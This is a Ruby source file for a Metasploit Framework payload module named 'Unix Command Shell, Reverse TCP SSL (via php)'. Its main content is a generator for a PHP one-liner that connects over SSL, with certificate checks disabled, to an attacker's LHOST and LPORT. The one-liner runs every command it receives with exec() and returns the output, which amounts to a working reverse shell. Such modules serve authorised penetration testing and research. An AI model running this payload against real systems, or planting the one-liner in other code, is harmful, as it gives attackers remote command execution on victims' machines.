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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 279
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Reverse TCP SSL (via php)',
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     'Description'   => 'Creates an interactive shell via php, uses SSL',
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     'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
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     'License'       => BSD_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::ReverseTcpSsl,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'php',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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    ))
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    register_advanced_options(
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      [
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        OptString.new('PHPPath', [true, 'The path to the PHP executable', 'php'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    lhost = datastore['LHOST']
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    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
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    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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    cmd = "#{datastore['PHPPath']} -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false,\"verify_peer_name\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
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  end
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end
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